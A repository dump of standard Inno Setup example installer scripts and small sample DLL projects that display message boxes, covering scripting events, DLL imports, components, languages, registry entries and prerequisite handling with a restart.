26 | function MessageBox(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal): Integer;
27 | external 'MessageBoxA@user32.dll stdcall';
28 |
29 | //importing a Windows API function, automatically choosing ANSI or Unicode (requires ISPP)
30 | //function MessageBox(hWnd: Integer; lpText, lpCaption: String; uType: Cardinal): Integer;
31 | //#ifdef UNICODE
32 | //external 'MessageBoxW@user32.dll stdcall';
33 | //#else
34 | //external 'MessageBoxA@user32.dll stdcall';
35 | //#endif
36 |
37 | //importing an ANSI custom DLL function, first for Setup, then for uninstall
38 | procedure MyDllFuncSetup(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal);
39 | external 'MyDllFunc@files:MyDll.dll stdcall setuponly';
40 |
41 | procedure MyDllFuncUninstall(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal);
42 | external 'MyDllFunc@{app}\MyDll.dll stdcall uninstallonly';
43 |
44 | //importing an ANSI function for a DLL which might not exist at runtime
45 | procedure DelayLoadedFunc(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal);
46 | external 'DllFunc@DllWhichMightNotExist.dll stdcall delayload';
47 |
48 | function NextButtonClick(CurPage: Integer): Boolean;
49 | var
50 | hWnd: Integer;
51 | begin
52 | if CurPage = wpWelcome then begin
53 | hWnd := StrToInt(ExpandConstant('{wizardhwnd}'));
54 |
55 | MessageBox(hWnd, 'Hello from Windows API function', 'MessageBoxA', MB_OK or MB_ICONINFORMATION);
56 |
57 | MyDllFuncSetup(hWnd, 'Hello from custom DLL function', 'MyDllFunc', MB_OK or MB_ICONINFORMATION);
58 |
59 | try
60 | //if this DLL does not exist (it shouldn't), an exception will be raised
61 | DelayLoadedFunc(hWnd, 'Hello from delay loaded function', 'DllFunc', MB_OK or MB_ICONINFORMATION);
62 | except
63 | //handle missing dll here
64 | end;
65 | end;
66 | Result := True;
67 | end;
68 |
69 | procedure CurUninstallStepChanged(CurUninstallStep: TUninstallStep);
70 | begin
71 | // Call our function just before the actual uninstall process begins
72 | if CurUninstallStep = usUninstall then
73 | begin
74 | MyDllFuncUninstall(0, 'Hello from custom DLL function', 'MyDllFunc', MB_OK or MB_ICONINFORMATION);
75 |
76 | // Now that we're finished with it, unload MyDll.dll from memory.
77 | // We have to do this so that the uninstaller will be able to remove the DLL and the {app} directory.
78 | UnloadDLL(ExpandConstant('{app}\MyDll.dll'));
79 | end;
80 | end;
81 |
--------------------------------------------------------------------------------
/installer/inno/Examples/CodeExample1.iss:
--------------------------------------------------------------------------------
1 | ; -- CodeExample1.iss --
2 | ;
3 | ; This script shows various things you can achieve using a [Code] section
4 |
5 | [Setup]
6 | AppName=My Program
7 | AppVersion=1.5
8 | DefaultDirName={code:MyConst}\My Program
9 | DefaultGroupName=My Program
10 | UninstallDisplayIcon={app}\MyProg.exe
11 | InfoBeforeFile=Readme.txt
12 | OutputDir=userdocs:Inno Setup Examples Output
13 |
14 | [Files]
15 | Source: "MyProg.exe"; DestDir: "{app}"; Check: MyProgCheck; BeforeInstall: BeforeMyProgInstall('MyProg.exe'); AfterInstall: AfterMyProgInstall('MyProg.exe')
16 | Source: "MyProg.chm"; DestDir: "{app}"; Check: MyProgCheck; BeforeInstall: BeforeMyProgInstall('MyProg.chm'); AfterInstall: AfterMyProgInstall('MyProg.chm')
17 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
18 |
19 | [Icons]
20 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe"
21 |
22 | [Code]
23 | var
24 | MyProgChecked: Boolean;
25 | MyProgCheckResult: Boolean;
26 | FinishedInstall: Boolean;
27 |
28 | function InitializeSetup(): Boolean;
29 | begin
30 | Log('InitializeSetup called');
31 | Result := MsgBox('InitializeSetup:' #13#13 'Setup is initializing. Do you really want to start setup?', mbConfirmation, MB_YESNO) = idYes;
32 | if Result = False then
33 | MsgBox('InitializeSetup:' #13#13 'Ok, bye bye.', mbInformation, MB_OK);
34 | end;
35 |
36 | procedure DeinitializeSetup();
37 | var
38 | FileName: String;
39 | ResultCode: Integer;
40 | begin
41 | Log('DeinitializeSetup called');
42 | if FinishedInstall then begin
43 | if MsgBox('DeinitializeSetup:' #13#13 'The [Code] scripting demo has finished. Do you want to uninstall My Program now?', mbConfirmation, MB_YESNO) = idYes then begin
44 | FileName := ExpandConstant('{uninstallexe}');
45 | if not Exec(FileName, '', '', SW_SHOWNORMAL, ewNoWait, ResultCode) then
46 | MsgBox('DeinitializeSetup:' #13#13 'Execution of ''' + FileName + ''' failed. ' + SysErrorMessage(ResultCode) + '.', mbError, MB_OK);
47 | end else
48 | MsgBox('DeinitializeSetup:' #13#13 'Ok, bye bye.', mbInformation, MB_OK);
49 | end;
50 | end;
51 |
52 | procedure CurStepChanged(CurStep: TSetupStep);
53 | begin
54 | Log('CurStepChanged(' + IntToStr(Ord(CurStep)) + ') called');
55 | if CurStep = ssPostInstall then
56 | FinishedInstall := True;
57 | end;
58 |
59 | procedure CurInstallProgressChanged(CurProgress, MaxProgress: Integer);
60 | begin
61 | Log('CurInstallProgressChanged(' + IntToStr(CurProgress) + ', ' + IntToStr(MaxProgress) + ') called');
62 | end;
63 |
64 | function NextButtonClick(CurPageID: Integer): Boolean;
65 | var
66 | ResultCode: Integer;
67 | begin
68 | Log('NextButtonClick(' + IntToStr(CurPageID) + ') called');
69 | case CurPageID of
70 | wpSelectDir:
71 | MsgBox('NextButtonClick:' #13#13 'You selected: ''' + WizardDirValue + '''.', mbInformation, MB_OK);
72 | wpSelectProgramGroup:
73 | MsgBox('NextButtonClick:' #13#13 'You selected: ''' + WizardGroupValue + '''.', mbInformation, MB_OK);
74 | wpReady:
75 | begin
76 | if MsgBox('NextButtonClick:' #13#13 'Using the script, files can be extracted before the installation starts. For example we could extract ''MyProg.exe'' now and run it.' #13#13 'Do you want to do this?', mbConfirmation, MB_YESNO) = idYes then begin
77 | ExtractTemporaryFile('myprog.exe');
78 | if not ExecAsOriginalUser(ExpandConstant('{tmp}\myprog.exe'), '', '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) then
79 | MsgBox('NextButtonClick:' #13#13 'The file could not be executed. ' + SysErrorMessage(ResultCode) + '.', mbError, MB_OK);
80 | end;
81 | BringToFrontAndRestore();
82 | MsgBox('NextButtonClick:' #13#13 'The normal installation will now start.', mbInformation, MB_OK);
83 | end;
84 | end;
85 |
86 | Result := True;
87 | end;
88 |
89 | function BackButtonClick(CurPageID: Integer): Boolean;
90 | begin
91 | Log('BackButtonClick(' + IntToStr(CurPageID) + ') called');
92 | Result := True;
93 | end;
94 |
95 | function ShouldSkipPage(PageID: Integer): Boolean;
96 | begin
97 | Log('ShouldSkipPage(' + IntToStr(PageID) + ') called');
98 | { Skip wpInfoBefore page; show all others }
99 | case PageID of
100 | wpInfoBefore:
101 | Result := True;
102 | else
103 | Result := False;
104 | end;
105 | end;
106 |
107 | procedure CurPageChanged(CurPageID: Integer);
108 | begin
109 | Log('CurPageChanged(' + IntToStr(CurPageID) + ') called');
110 | case CurPageID of
111 | wpWelcome:
112 | MsgBox('CurPageChanged:' #13#13 'Welcome to the [Code] scripting demo. This demo will show you some possibilities of the scripting support.' #13#13 'The scripting engine used is RemObjects Pascal Script by Carlo Kok. See http://www.remobjects.com/ps for more information.', mbInformation, MB_OK);
113 | wpFinished:
114 | MsgBox('CurPageChanged:' #13#13 'Welcome to final page of this demo. Click Finish to exit.', mbInformation, MB_OK);
115 | end;
116 | end;
117 |
118 | function PrepareToInstall(var NeedsRestart: Boolean): String;
119 | begin
120 | Log('PrepareToInstall() called');
121 | if MsgBox('PrepareToInstall:' #13#13 'Setup is preparing to install. Using the script you can install any prerequisites, abort Setup on errors, and request restarts. Do you want to return an error now?', mbConfirmation, MB_YESNO or MB_DEFBUTTON2) = idYes then
122 | Result := '.'
123 | else
124 | Result := '';
125 | end;
126 |
127 | function MyProgCheck(): Boolean;
128 | begin
129 | Log('MyProgCheck() called');
130 | if not MyProgChecked then begin
131 | MyProgCheckResult := MsgBox('MyProgCheck:' #13#13 'Using the script you can decide at runtime to include or exclude files from the installation. Do you want to install MyProg.exe and MyProg.chm to ' + ExtractFilePath(CurrentFileName) + '?', mbConfirmation, MB_YESNO) = idYes;
132 | MyProgChecked := True;
133 | end;
134 | Result := MyProgCheckResult;
135 | end;
136 |
137 | procedure BeforeMyProgInstall(S: String);
138 | begin
139 | Log('BeforeMyProgInstall(''' + S + ''') called');
140 | MsgBox('BeforeMyProgInstall:' #13#13 'Setup is now going to install ' + S + ' as ' + CurrentFileName + '.', mbInformation, MB_OK);
141 | end;
142 |
143 | procedure AfterMyProgInstall(S: String);
144 | begin
145 | Log('AfterMyProgInstall(''' + S + ''') called');
146 | MsgBox('AfterMyProgInstall:' #13#13 'Setup just installed ' + S + ' as ' + CurrentFileName + '.', mbInformation, MB_OK);
147 | end;
148 |
149 | function MyConst(Param: String): String;
150 | begin
151 | Log('MyConst(''' + Param + ''') called');
152 | Result := ExpandConstant('{pf}');
153 | end;
154 |
155 |
--------------------------------------------------------------------------------
/installer/inno/Examples/CodePrepareToInstall.iss:
--------------------------------------------------------------------------------
1 | ; -- CodePrepareToInstall.iss --
2 | ;
3 | ; This script shows how the PrepareToInstall event function can be used to
4 | ; install prerequisites and handle any reboots in between, while remembering
5 | ; user selections across reboots.
6 |
7 | [Setup]
8 | AppName=My Program
9 | AppVersion=1.5
10 | DefaultDirName={pf}\My Program
11 | DefaultGroupName=My Program
12 | UninstallDisplayIcon={app}\MyProg.exe
13 | OutputDir=userdocs:Inno Setup Examples Output
14 |
15 | [Files]
16 | Source: "MyProg.exe"; DestDir: "{app}";
17 | Source: "MyProg.chm"; DestDir: "{app}";
18 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme;
19 |
20 | [Icons]
21 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe"
22 |
23 | [Code]
24 | const
25 | (*** Customize the following to your own name. ***)
26 | RunOnceName = 'My Program Setup restart';
27 |
28 | QuitMessageReboot = 'The installation of a prerequisite program was not completed. You will need to restart your computer to complete that installation.'#13#13'After restarting your computer, Setup will continue next time an administrator logs in.';
29 | QuitMessageError = 'Error. Cannot continue.';
30 |
31 | var
32 | Restarted: Boolean;
33 |
34 | function InitializeSetup(): Boolean;
35 | begin
36 | Restarted := ExpandConstant('{param:restart|0}') = '1';
37 |
38 | if not Restarted then begin
39 | Result := not RegValueExists(HKLM, 'Software\Microsoft\Windows\CurrentVersion\RunOnce', RunOnceName);
40 | if not Result then
41 | MsgBox(QuitMessageReboot, mbError, mb_Ok);
42 | end else
43 | Result := True;
44 | end;
45 |
46 | function DetectAndInstallPrerequisites: Boolean;
47 | begin
48 | (*** Place your prerequisite detection and installation code below. ***)
49 | (*** Return False if missing prerequisites were detected but their installation failed, else return True. ***)
50 |
51 | //
52 |
53 | Result := True;
54 |
55 | (*** Remove the following block! Used by this demo to simulate a prerequisite install requiring a reboot. ***)
56 | if not Restarted then
57 | RestartReplace(ParamStr(0), '');
58 | end;
59 |
60 | function Quote(const S: String): String;
61 | begin
62 | Result := '"' + S + '"';
63 | end;
64 |
65 | function AddParam(const S, P, V: String): String;
66 | begin
67 | if V <> '""' then
68 | Result := S + ' /' + P + '=' + V;
69 | end;
70 |
71 | function AddSimpleParam(const S, P: String): String;
72 | begin
73 | Result := S + ' /' + P;
74 | end;
75 |
76 | procedure CreateRunOnceEntry;
77 | var
78 | RunOnceData: String;
79 | begin
80 | RunOnceData := Quote(ExpandConstant('{srcexe}')) + ' /restart=1';
81 | RunOnceData := AddParam(RunOnceData, 'LANG', ExpandConstant('{language}'));
82 | RunOnceData := AddParam(RunOnceData, 'DIR', Quote(WizardDirValue));
83 | RunOnceData := AddParam(RunOnceData, 'GROUP', Quote(WizardGroupValue));
84 | if WizardNoIcons then
85 | RunOnceData := AddSimpleParam(RunOnceData, 'NOICONS');
86 | RunOnceData := AddParam(RunOnceData, 'TYPE', Quote(WizardSetupType(False)));
87 | RunOnceData := AddParam(RunOnceData, 'COMPONENTS', Quote(WizardSelectedComponents(False)));
88 | RunOnceData := AddParam(RunOnceData, 'TASKS', Quote(WizardSelectedTasks(False)));
89 |
90 | (*** Place any custom user selection you want to remember below. ***)
91 |
92 | //
93 |
94 | RegWriteStringValue(HKLM, 'Software\Microsoft\Windows\CurrentVersion\RunOnce', RunOnceName, RunOnceData);
95 | end;
96 |
97 | function PrepareToInstall(var NeedsRestart: Boolean): String;
98 | var
99 | ChecksumBefore, ChecksumAfter: String;
100 | begin
101 | ChecksumBefore := MakePendingFileRenameOperationsChecksum;
102 | if DetectAndInstallPrerequisites then begin
103 | ChecksumAfter := MakePendingFileRenameOperationsChecksum;
104 | if ChecksumBefore <> ChecksumAfter then begin
105 | CreateRunOnceEntry;
106 | NeedsRestart := True;
107 | Result := QuitMessageReboot;
108 | end;
109 | end else
110 | Result := QuitMessageError;
111 | end;
112 |
113 | function ShouldSkipPage(PageID: Integer): Boolean;
114 | begin
115 | Result := Restarted;
116 | end;
117 |
118 |
--------------------------------------------------------------------------------
/installer/inno/Examples/Components.iss:
--------------------------------------------------------------------------------
1 | ; -- Components.iss --
2 | ; Demonstrates a components-based installation.
3 |
4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES!
5 |
6 | [Setup]
7 | AppName=My Program
8 | AppVersion=1.5
9 | DefaultDirName={pf}\My Program
10 | DefaultGroupName=My Program
11 | UninstallDisplayIcon={app}\MyProg.exe
12 | OutputDir=userdocs:Inno Setup Examples Output
13 |
14 | [Types]
15 | Name: "full"; Description: "Full installation"
16 | Name: "compact"; Description: "Compact installation"
17 | Name: "custom"; Description: "Custom installation"; Flags: iscustom
18 |
19 | [Components]
20 | Name: "program"; Description: "Program Files"; Types: full compact custom; Flags: fixed
21 | Name: "help"; Description: "Help File"; Types: full
22 | Name: "readme"; Description: "Readme File"; Types: full
23 | Name: "readme\en"; Description: "English"; Flags: exclusive
24 | Name: "readme\de"; Description: "German"; Flags: exclusive
25 |
26 | [Files]
27 | Source: "MyProg.exe"; DestDir: "{app}"; Components: program
28 | Source: "MyProg.chm"; DestDir: "{app}"; Components: help
29 | Source: "Readme.txt"; DestDir: "{app}"; Components: readme\en; Flags: isreadme
30 | Source: "Readme-German.txt"; DestName: "Liesmich.txt"; DestDir: "{app}"; Components: readme\de; Flags: isreadme
31 |
32 | [Icons]
33 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe"
34 |
--------------------------------------------------------------------------------
/installer/inno/Examples/Example1.iss:
--------------------------------------------------------------------------------
1 | ; -- Example1.iss --
2 | ; Demonstrates copying 3 files and creating an icon.
3 |
4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES!
5 |
6 | [Setup]
7 | AppName=My Program
8 | AppVersion=1.5
9 | DefaultDirName={pf}\My Program
10 | DefaultGroupName=My Program
11 | UninstallDisplayIcon={app}\MyProg.exe
12 | Compression=lzma2
13 | SolidCompression=yes
14 | OutputDir=userdocs:Inno Setup Examples Output
15 |
16 | [Files]
17 | Source: "MyProg.exe"; DestDir: "{app}"
18 | Source: "MyProg.chm"; DestDir: "{app}"
19 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
20 |
21 | [Icons]
22 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe"
23 |
--------------------------------------------------------------------------------
/installer/inno/Examples/Example2.iss:
--------------------------------------------------------------------------------
1 | ; -- Example2.iss --
2 | ; Same as Example1.iss, but creates its icon in the Programs folder of the
3 | ; Start Menu instead of in a subfolder, and also creates a desktop icon.
4 |
5 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES!
6 |
7 | [Setup]
8 | AppName=My Program
9 | AppVersion=1.5
10 | DefaultDirName={pf}\My Program
11 | ; Since no icons will be created in "{group}", we don't need the wizard
12 | ; to ask for a Start Menu folder name:
13 | DisableProgramGroupPage=yes
14 | UninstallDisplayIcon={app}\MyProg.exe
15 | OutputDir=userdocs:Inno Setup Examples Output
16 |
17 | [Files]
18 | Source: "MyProg.exe"; DestDir: "{app}"
19 | Source: "MyProg.chm"; DestDir: "{app}"
20 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
21 |
22 | [Icons]
23 | Name: "{commonprograms}\My Program"; Filename: "{app}\MyProg.exe"
24 | Name: "{commondesktop}\My Program"; Filename: "{app}\MyProg.exe"
25 |
--------------------------------------------------------------------------------
/installer/inno/Examples/Example3.iss:
--------------------------------------------------------------------------------
1 | ; -- Example3.iss --
2 | ; Same as Example1.iss, but creates some registry entries too.
3 |
4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES!
5 |
6 | [Setup]
7 | AppName=My Program
8 | AppVersion=1.5
9 | DefaultDirName={pf}\My Program
10 | DefaultGroupName=My Program
11 | UninstallDisplayIcon={app}\MyProg.exe
12 | OutputDir=userdocs:Inno Setup Examples Output
13 |
14 | [Files]
15 | Source: "MyProg.exe"; DestDir: "{app}"
16 | Source: "MyProg.chm"; DestDir: "{app}"
17 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
18 |
19 | [Icons]
20 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe"
21 |
22 | ; NOTE: Most apps do not need registry entries to be pre-created. If you
23 | ; don't know what the registry is or if you need to use it, then chances are
24 | ; you don't need a [Registry] section.
25 |
26 | [Registry]
27 | ; Start "Software\My Company\My Program" keys under HKEY_CURRENT_USER
28 | ; and HKEY_LOCAL_MACHINE. The flags tell it to always delete the
29 | ; "My Program" keys upon uninstall, and delete the "My Company" keys
30 | ; if there is nothing left in them.
31 | Root: HKCU; Subkey: "Software\My Company"; Flags: uninsdeletekeyifempty
32 | Root: HKCU; Subkey: "Software\My Company\My Program"; Flags: uninsdeletekey
33 | Root: HKLM; Subkey: "Software\My Company"; Flags: uninsdeletekeyifempty
34 | Root: HKLM; Subkey: "Software\My Company\My Program"; Flags: uninsdeletekey
35 | Root: HKLM; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "Path"; ValueData: "{app}"
36 |
--------------------------------------------------------------------------------
/installer/inno/Examples/ISPPExample1.iss:
--------------------------------------------------------------------------------
1 | ; -- ISPPExample1.iss --
2 | ;
3 | ; This script shows various basic things you can achieve using Inno Setup Preprocessor (ISPP).
4 | ; To enable commented #define's, either remove the ';' or use ISCC with the /D switch.
5 |
6 | #pragma option -v+
7 | #pragma verboselevel 9
8 |
9 | ;#define Debug
10 |
11 | ;#define AppEnterprise
12 |
13 | #ifdef AppEnterprise
14 | #define AppName "My Program Enterprise Edition"
15 | #else
16 | #define AppName "My Program"
17 | #endif
18 |
19 | #define AppVersion GetFileVersion(AddBackslash(SourcePath) + "MyProg.exe")
20 |
21 | [Setup]
22 | AppName={#AppName}
23 | AppVersion={#AppVersion}
24 | DefaultDirName={pf}\{#AppName}
25 | DefaultGroupName={#AppName}
26 | UninstallDisplayIcon={app}\MyProg.exe
27 | LicenseFile={#file AddBackslash(SourcePath) + "ISPPExample1License.txt"}
28 | VersionInfoVersion={#AppVersion}
29 | OutputDir=userdocs:Inno Setup Examples Output
30 |
31 | [Files]
32 | Source: "MyProg.exe"; DestDir: "{app}"
33 | #ifdef AppEnterprise
34 | Source: "MyProg.chm"; DestDir: "{app}"
35 | #endif
36 | Source: "Readme.txt"; DestDir: "{app}"; \
37 | Flags: isreadme
38 |
39 | [Icons]
40 | Name: "{group}\{#AppName}"; Filename: "{app}\MyProg.exe"
41 |
42 | #ifdef Debug
43 | #expr SaveToFile(AddBackslash(SourcePath) + "Preprocessed.iss"), \
44 | Exec(AddBackslash(CompilerPath) + "Compil32.exe", """" + AddBackslash(SourcePath) + "Preprocessed.iss""")
45 | #endif
46 |
--------------------------------------------------------------------------------
/installer/inno/Examples/ISPPExample1License.txt:
--------------------------------------------------------------------------------
1 | #pragma option -e+
2 | {#AppName} version {#AppVersion} License
3 |
4 | Bla bla bla
--------------------------------------------------------------------------------
/installer/inno/Examples/Languages.iss:
--------------------------------------------------------------------------------
1 | ; -- Languages.iss --
2 | ; Demonstrates a multilingual installation.
3 |
4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES!
5 |
6 | [Setup]
7 | AppName={cm:MyAppName}
8 | AppId=My Program
9 | AppVerName={cm:MyAppVerName,1.5}
10 | DefaultDirName={pf}\{cm:MyAppName}
11 | DefaultGroupName={cm:MyAppName}
12 | UninstallDisplayIcon={app}\MyProg.exe
13 | VersionInfoDescription=My Program Setup
14 | VersionInfoProductName=My Program
15 | OutputDir=userdocs:Inno Setup Examples Output
16 | ; Uncomment the following line to disable the "Select Setup Language"
17 | ; dialog and have it rely solely on auto-detection.
18 | ;ShowLanguageDialog=no
19 | ; If you want all languages to be listed in the "Select Setup Language"
20 | ; dialog, even those that can't be displayed in the active code page,
21 | ; uncomment the following line. Note: Unicode Inno Setup always displays
22 | ; all languages.
23 | ;ShowUndisplayableLanguages=yes
24 |
25 | [Languages]
26 | Name: en; MessagesFile: "compiler:Default.isl"
27 | Name: nl; MessagesFile: "compiler:Languages\Dutch.isl"
28 | Name: de; MessagesFile: "compiler:Languages\German.isl"
29 |
30 | [Messages]
31 | en.BeveledLabel=English
32 | nl.BeveledLabel=Nederlands
33 | de.BeveledLabel=Deutsch
34 |
35 | [CustomMessages]
36 | en.MyDescription=My description
37 | en.MyAppName=My Program
38 | en.MyAppVerName=My Program %1
39 | nl.MyDescription=Mijn omschrijving
40 | nl.MyAppName=Mijn programma
41 | nl.MyAppVerName=Mijn programma %1
42 | de.MyDescription=Meine Beschreibung
43 | de.MyAppName=Meine Anwendung
44 | de.MyAppVerName=Meine Anwendung %1
45 |
46 | [Files]
47 | Source: "MyProg.exe"; DestDir: "{app}"
48 | Source: "MyProg.chm"; DestDir: "{app}"; Languages: en
49 | Source: "Readme.txt"; DestDir: "{app}"; Languages: en; Flags: isreadme
50 | Source: "Readme-Dutch.txt"; DestName: "Leesmij.txt"; DestDir: "{app}"; Languages: nl; Flags: isreadme
51 | Source: "Readme-German.txt"; DestName: "Liesmich.txt"; DestDir: "{app}"; Languages: de; Flags: isreadme
52 |
53 | [Icons]
54 | Name: "{group}\{cm:MyAppName}"; Filename: "{app}\MyProg.exe"
55 | Name: "{group}\{cm:UninstallProgram,{cm:MyAppName}}"; Filename: "{uninstallexe}"
56 |
57 | [Tasks]
58 | ; The following task doesn't do anything and is only meant to show [CustomMessages] usage
59 | Name: mytask; Description: "{cm:MyDescription}"
60 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyDll.dll
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C#/MyDll.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | using System.Runtime.InteropServices;
4 | using RGiesecke.DllExport;
5 |
6 | namespace Mydll
7 | {
8 | public class Mydll
9 | {
10 | [DllExport("MyDllFunc", CallingConvention=CallingConvention.StdCall)]
11 | public static void MyDllFunc(IntPtr hWnd, [MarshalAs(UnmanagedType.LPStr)] string text, [MarshalAs(UnmanagedType.LPStr)] string caption, int options)
12 | {
13 | MessageBox(hWnd, text, caption, options);
14 | }
15 |
16 | [DllExport("MyDllFuncW", CallingConvention=CallingConvention.StdCall)]
17 | public static void MyDllFuncW(IntPtr hWnd, string text, string caption, int options)
18 | {
19 | MessageBox(hWnd, text, caption, options);
20 | }
21 |
22 | [DllImport("user32.dll", CharSet=CharSet.Auto)]
23 | static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C#/MyDll.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}
8 | Library
9 | Properties
10 | MyDll
11 | MyDll
12 | v4.5
13 | 512
14 |
15 |
16 | true
17 | full
18 | false
19 | .\
20 | DEBUG;TRACE
21 | prompt
22 | 4
23 | x86
24 |
25 |
26 | pdbonly
27 | true
28 | .\
29 | TRACE
30 | prompt
31 | 4
32 | x86
33 |
34 |
35 |
36 | packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll
37 | False
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
63 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C#/MyDll.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.40629.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MyDll", "MyDll.csproj", "{79237A5C-6C62-400A-BBDD-3DA1CA327973}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C#/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("MyDll")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("MyDll")]
13 | [assembly: AssemblyCopyright("Copyright © 2015")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("711cc3c2-07db-46ca-b34b-ba06f4edcbcd")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C#/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C/MyDll.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | void __stdcall MyDllFunc(HWND hWnd, char *lpText, char *lpCaption, UINT uType)
4 | {
5 | MessageBox(hWnd, lpText, lpCaption, uType);
6 | }
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C/MyDll.def:
--------------------------------------------------------------------------------
1 | EXPORTS
2 | MyDllFunc
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/C/MyDll.dsp:
--------------------------------------------------------------------------------
1 | # Microsoft Developer Studio Project File - Name="MyDll" - Package Owner=<4>
2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00
3 | # ** DO NOT EDIT **
4 |
5 | # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
6 |
7 | CFG=MyDll - Win32 Release
8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE,
9 | !MESSAGE use the Export Makefile command and run
10 | !MESSAGE
11 | !MESSAGE NMAKE /f "MyDll.mak".
12 | !MESSAGE
13 | !MESSAGE You can specify a configuration when running NMAKE
14 | !MESSAGE by defining the macro CFG on the command line. For example:
15 | !MESSAGE
16 | !MESSAGE NMAKE /f "MyDll.mak" CFG="MyDll - Win32 Release"
17 | !MESSAGE
18 | !MESSAGE Possible choices for configuration are:
19 | !MESSAGE
20 | !MESSAGE "MyDll - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
21 | !MESSAGE
22 |
23 | # Begin Project
24 | # PROP AllowPerConfigDependencies 0
25 | # PROP Scc_ProjName ""
26 | # PROP Scc_LocalPath ""
27 | CPP=cl.exe
28 | MTL=midl.exe
29 | RSC=rc.exe
30 | # PROP BASE Use_MFC 0
31 | # PROP BASE Use_Debug_Libraries 0
32 | # PROP BASE Output_Dir "Release"
33 | # PROP BASE Intermediate_Dir "Release"
34 | # PROP BASE Target_Dir ""
35 | # PROP Use_MFC 0
36 | # PROP Use_Debug_Libraries 0
37 | # PROP Output_Dir "."
38 | # PROP Intermediate_Dir "."
39 | # PROP Target_Dir ""
